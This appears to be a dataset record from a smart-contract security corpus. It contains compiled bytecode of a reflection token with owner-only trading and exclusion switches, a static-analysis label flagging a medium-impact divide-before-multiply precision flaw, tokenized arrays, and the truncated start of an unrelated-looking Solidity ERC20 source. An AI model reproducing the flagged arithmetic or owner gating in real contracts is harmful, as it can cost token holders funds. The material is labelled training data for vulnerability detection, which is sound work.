5b600061046d6111f1565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f390612e8a565b60405180910390fd5b6000610507836111f9565b50505050905061055f81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105b781600c546111a790919063ffffffff16565b600c819055506105d28360075461125190919063ffffffff16565b600781905550505050565b6060600980546105ec90613099565b80601f016020809104026020016040519081016040528092919081815260200182805461061890613099565b80156106655780601f1061063a57610100808354040283529160200191610665565b820191906000526020600020905b81548152906001019060200180831161064857829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006106a96106a26111f1565b84846112af565b6001905092915050565b600069152d02c7e14af6800000905090565b60006106d284848461147a565b610793846106de6111f1565b61078e8560405180606001604052806028815260200161352260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107446111f1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d9092919063ffffffff16565b6112af565b600190509392505050565b6000600860009054906101000a900460ff16905090565b6000600c548211156107fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f390612d4a565b60405180910390fd5b6000610806611ad1565b905061081b818461115d90919063ffffffff16565b915050919050565b6000600b60009054906101000a900460ff16905090565b60006108e36108476111f1565b846108de85600360006108586111f1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125190919063ffffffff16565b6112af565b6001905092915050565b600069152d02c7e14af680000083111561093c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093390612daa565b60405180910390fd5b8161095b57600061094c846111f9565b50505050905080915050610971565b6000610966846111f9565b505050915050809150505b92915050565b6000600754905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a1c57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610a67565b610a64600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107b5565b90505b919050565b610a746111f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af890612dea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610bf790613099565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2390613099565b8015610c705780601f10610c4557610100808354040283529160200191610c70565b820191906000526020600020905b815481529060010190602001808311610c5357829003601f168201915b5050505050905090565b6000610d3d610c876111f1565b84610d388560405180606001604052806025815260200161354a6025913960036000610cb16111f1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d9092919063ffffffff16565b6112af565b6001905092915050565b6000610d5b610d546111f1565b848461147a565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610df46111f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7890612dea565b60405180910390fd5b60011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610f37576000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611015565b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f1d2288ff481fd28dcc877dd640cc5729f3d0a091e9e2bfff38f6214c00e2ae5f81600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660405161100c929190612cc4565b60405180910390a15b50565b6110206111f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a490612dea565b60405180910390fd5b60011515600860009054906101000a900460ff16151514156110e9576000600860006101000a81548160ff021916908315150217905550611105565b6001600860006101000a81548160ff0219169083151502179055505b565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061119f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611afc565b905092915050565b60006111e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6d565b905092915050565b600033905090565b600080600080600080600061120d88611b5f565b91509150600061121b611ad1565b9050600080600061122d8c8686611bb2565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846112609190612efc565b9050838110156112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c90612d8a565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131690612e6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138690612d6a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146d9190612eaa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e190612e2a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155190612d2a565b60405180910390fd5b6000811161159d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159490612e0a565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061163e5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116875760008114611686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167d90612e4a565b60405180910390fd5b5b60011515600860009054906101000a900460ff16151514806116db57506116ac610bbf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061171857506116e9610bbf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611a1157600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156117c05750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117d5576117d0838383611c10565b611a0c565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118785750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561188d57611888838383611e63565b611a0b565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119315750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611946576119418383836120b6565b611a0a565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119e85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119fd576119f8838383612274565b611a09565b611a088383836120b6565b5b5b5b5b611a68565b60011515600860009054906101000a900460ff16151514611a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5e90612e4a565b60405180910390fd5b5b505050565b6000838311158290611ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aac9190612d08565b60405180910390fd5b5060008385611ac49190612fdd565b9050809150509392505050565b6000806000611ade61255c565b91509150611af5818361115d90919063ffffffff16565b9250505090565b60008083118290611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a9190612d08565b60405180910390fd5b5060008385611b529190612f52565b9050809150509392505050565b6000806000611b8c6002611b7e6103e88761115d90919063ffffffff16565b61282f90919063ffffffff16565b90506000611ba382866111a790919063ffffffff16565b90508082935093505050915091565b600080600080611bcb858861282f90919063ffffffff16565b90506000611be2868861282f90919063ffffffff16565b90506000611bf982846111a790919063ffffffff16565b905082818395509550955050505093509350939050565b6000806000806000611c21866111f9565b94509450945094509450611c7d86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611da784600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125190919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df483826128aa565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e519190612eaa565b60405180910390a35050505050505050565b6000806000806000611e74866111f9565b94509450945094509450611ed085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6582600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125190919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ffa84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125190919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061204783826128aa565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120a49190612eaa565b60405180910390a35050505050505050565b60008060008060006120c7866111f9565b9450945094509450945061212385600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121b884600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125190919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061220583826128aa565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122629190612eaa565b60405180910390a35050505050505050565b6000806000806000612285866111f9565b945094509450945094506122e186600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237685600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240b82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125190919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125190919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ed83826128aa565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161254a9190612eaa565b60405180910390a35050505050505050565b6000806000600c549050600069152d02c7e14af6800000905060005b6005805490508110156127e25782600160006005848154811061259e5761259d6131a1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061268c5750816002600060058481548110612624576126236131a1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156126ab57600c5469152d02c7e14af68000009450945050505061282b565b61273b60016000600584815481106126c6576126c56131a1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846111a790919063ffffffff16565b92506127cd6002600060058481548110612758576127576131a1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836111a790919063ffffffff16565b915080806127da906130cb565b915050612578565b5061280269152d02c7e14af6800000600c5461115d90919063ffffffff16565b82101561282257600c5469152d02c7e14af680000093509350505061282b565b81819350935050505b9091565b60008083141561284257600090506128a4565b600082846128509190612f83565b905082848261285f9190612f52565b1461289f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289690612dca565b60405180910390fd5b809150505b92915050565b6128bf82600c546111a790919063ffffffff16565b600c819055506128da8160075461125190919063ffffffff16565b6007819055505050565b6000813590506128f3816134dc565b92915050565b600081359050612908816134f3565b92915050565b60008135905061291d8161350a565b92915050565b600060208284031215612939576129386131d0565b5b6000612947848285016128e4565b91505092915050565b60008060408385031215612967576129666131d0565b5b6000612975858286016128e4565b9250506020612986858286016128e4565b9150509250929050565b6000806000606084860312156129a9576129a86131d0565b5b60006129b7868287016128e4565b93505060206129c8868287016128e4565b92505060406129d98682870161290e565b9150509250925092565b600080604083850312156129fa576129f96131d0565b5b6000612a08858286016128e4565b9250506020612a198582860161290e565b9150509250929050565b600060208284031215612a3957612a386131d0565b5b6000612a478482850161290e565b91505092915050565b60008060408385031215612a6757612a666131d0565b5b6000612a758582860161290e565b9250506020612a86858286016128f9565b9150509250929050565b612a9981613011565b82525050565b612aa881613023565b82525050565b6000612ab982612ee0565b612ac38185612eeb565b9350612ad3818560208601613066565b612adc816131d5565b840191505092915050565b6000612af4602383612eeb565b9150612aff826131e6565b604082019050919050565b6000612b17602a83612eeb565b9150612b2282613235565b604082019050919050565b6000612b3a602283612eeb565b9150612b4582613284565b604082019050919050565b6000612b5d601b83612eeb565b9150612b68826132d3565b602082019050919050565b6000612b80601f83612eeb565b9150612b8b826132fc565b602082019050919050565b6000612ba3602183612eeb565b9150612bae82613325565b604082019050919050565b6000612bc6602083612eeb565b9150612bd182613374565b602082019050919050565b6000612be9602983612eeb565b9150612bf48261339d565b604082019050919050565b6000612c0c602583612eeb565b9150612c17826133ec565b604082019050919050565b6000612c2f600083612eeb565b9150612c3a8261343b565b600082019050919050565b6000612c52602483612eeb565b9150612c5d8261343e565b604082019050919050565b6000612c75602c83612eeb565b9150612c808261348d565b604082019050919050565b612c948161304f565b82525050565b612ca381613059565b82525050565b6000602082019050612cbe6000830184612a90565b92915050565b6000604082019050612cd96000830185612a90565b612ce66020830184612a9f565b9392505050565b6000602082019050612d026000830184612a9f565b92915050565b60006020820190508181036000830152612d228184612aae565b905092915050565b60006020820190508181036000830152612d4381612ae7565b9050919050565b60006020820190508181036000830152612d6381612b0a565b9050919050565b60006020820190508181036000830152612d8381612b2d565b9050919050565b60006020820190508181036000830152612da381612b50565b9050919050565b60006020820190508181036000830152612dc381612b73565b9050919050565b60006020820190508181036000830152612de381612b96565b9050919050565b60006020820190508181036000830152612e0381612bb9565b9050919050565b60006020820190508181036000830152612e2381612bdc565b9050919050565b60006020820190508181036000830152612e4381612bff565b9050919050565b60006020820190508181036000830152612e6381612c22565b9050919050565b60006020820190508181036000830152612e8381612c45565b9050919050565b60006020820190508181036000830152612ea381612c68565b9050919050565b6000602082019050612ebf6000830184612c8b565b92915050565b6000602082019050612eda6000830184612c9a565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612f078261304f565b9150612f128361304f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f4757612f46613114565b5b828201905092915050565b6000612f5d8261304f565b9150612f688361304f565b925082612f7857612f77613143565b5b828204905092915050565b6000612f8e8261304f565b9150612f998361304f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612fd257612fd1613114565b5b828202905092915050565b6000612fe88261304f565b9150612ff38361304f565b92508282101561300657613005613114565b5b828203905092915050565b600061301c8261302f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015613084578082015181840152602081019050613069565b83811115613093576000848401525b50505050565b600060028204905060018216806130b157607f821691505b602082108114156130c5576130c4613172565b5b50919050565b60006130d68261304f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561310957613108613114565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6134e581613011565b81146134f057600080fd5b50565b6134fc81613023565b811461350757600080fd5b50565b6135138161304f565b811461351e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202838d7d32b21aa91518bfac9b3178d69e091a603e38cbeec9c51fbd8142e0d6464736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 19797, 2278, 2581, 12879, 26337, 2581, 2581, 2575, 2581, 16409, 21619, 2575, 2278, 19317, 23777, 11329, 2487, 2278, 17465, 19317, 2487, 9818, 2581, 2620, 16932, 1013, 1008, 1008, 1012, 1024, 1024, 1011, 1011, 1011, 1011, 1011, 1024, 1024, 1012, 1012, 1011, 1027, 1009, 1009, 1009, 1009, 1009, 1009, 1009, 1009, 1009, 1009, 1009, 1009, 1009, 1027, 1024, 1012, 1027, 1009, 1009, 1009, 1009, 1008, 1008, 1008, 1008, 1008, 1008, 1001, 1001, 1001, 1001, 1008, 1009, 1009, 1009, 1009, 1011, 1024, 1009, 1009, 1009, 1009, 1008, 1008, 1011, 1012, 1012, 1027, 1001, 1003, 1003, 1001, 1009, 1009, 1009, 1027, 1012, 1024, 1024, 1024, 1024, 1012, 1012, 1012, 1024, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1024, 1024, 1011, 1011, 1011, 1024, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,620
0x956d12423d5731e498b8b83ba82673cda26704ec
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; contract Owned { address public owner; address public proposedOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() virtual { require(msg.sender == owner); _; } /** * @dev propeses a new owner * Can only be called by the current owner. */ function proposeOwner(address payable _newOwner) external onlyOwner { proposedOwner = _newOwner; } /** * @dev claims ownership of the contract * Can only be called by the new proposed owner. */ function claimOwnership() external { require(msg.sender == proposedOwner); emit OwnershipTransferred(owner, proposedOwner); owner = proposedOwner; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * 